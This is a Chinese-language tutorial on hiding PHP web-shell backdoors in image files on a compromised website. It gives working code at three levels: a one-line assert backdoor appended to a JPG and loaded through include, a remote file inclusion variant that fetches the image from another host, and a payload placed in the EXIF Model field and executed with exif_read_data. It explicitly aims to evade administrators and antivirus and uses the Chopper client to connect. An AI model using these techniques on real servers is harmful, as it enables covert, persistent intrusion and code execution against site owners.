PHP图片后门藏匿攻略 我们平时藏匿图片后门是什么流程呢?我们来看一下 0x01 初级的藏匿方法:
1、建立一个eval.php文件,上面加入我们的后门:
<?php assert($_POST[feiji]);?>
2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。 3、合并图片和php后门:
Copy /b C:\xampp\htdocs\images\1.jpg + C:\xampp\htdocs\images\eval.php C:\xampp\htdocs\images\2.jpg
4、在任何一个php文件中包含这个2.jpg的图片后门,这里以images.php为例,写入以下的代码:
<?php include (‘2.jpg’); ?>
5、上传2.jpg和images.php,在菜刀里添加一句话后门:http://127.0.0.1/images/images.php,密码为feiji。
访问图片正常:
访问images.php页面出现乱码,但是后门已经正常运行:
但是一句话在菜刀里是可以解析成功的:
注:省去第3步也是可以的,只不过直接访问图片会乱码,会让管理员起疑心。
0x02 中级藏匿的方法:
1、其实就是远程文件包含,也不只是针对图片,要求你有高权限,能够操纵Apache和修改php.ini文件: - 修改ini的配置选项allow_url_fopen和allow_url_include为ON。
2、创建任何一个php文件中,以images.php为例,写入以下的代码:
<?php $filename=$_GET['feiji'];include ($filename); ?>
3、刚才做的图片后门jpg可以放在别的网站(http://www.xxxx.com)上,在菜刀里添加一句话后门: http://127.0.0.1/images/images.php?feiji=http://www.xxxx.com/images/2.jpg 密码为feiji
注:这样做的优点是可以随时变换各种后门,缺点是很难获取到高权限。
0x03 高级的藏匿方法背景知识:EXIF信息: 是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头,并以字符串“0xFFD9”结束。文件头中有一系列“0xFF??”格式的字符串,称为“标识”,用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始,“0xFFD9”表示图像信息结束,这两个标识后面没有信息,而其它标识紧跟一些信息字符。 其实就是这个玩意儿:选定图片右键选择属性,在详细信息里面可以看到(win7)
1、php里面有一个函数exif_read_data(),可以取得图片的EXIF信息头,但是需要开启php_exif模块。 2、我们是可以随意修改EXIF信息的,例如:
这里推荐一个小工具,PowerExif
免费版可以修改部分EXIF信息头,但是对我们来说已经足够了。 打开工具,点击添加,在修改机型信息,如下:
添加我们的PAYLOAD:
3、我们来调试一下:
<?
$exif = exif_read_data('460.jpg');
var_dump($exif);
?>
输出:
4、利用方法: 在php脚本上写入: <?
$exif = exif_read_data ('460.jpg');
assert($exif['Model']);
?>
5、在菜刀上添加http://127.0.0.1/images/images.php 密码为feiji,效果:
有同学可能会问,为什么要使用这种方法藏匿图片后门,这个不是和初级的藏匿方法等效吗?原因有三: - 有经验的管理员一看include文件就会发现有端倪。
- 杀软会重点检查include包含的文件。
- exif_read_data()函数可以包含远程的JPG文件,也就是等效于一个远程漏洞文件包含咯。
|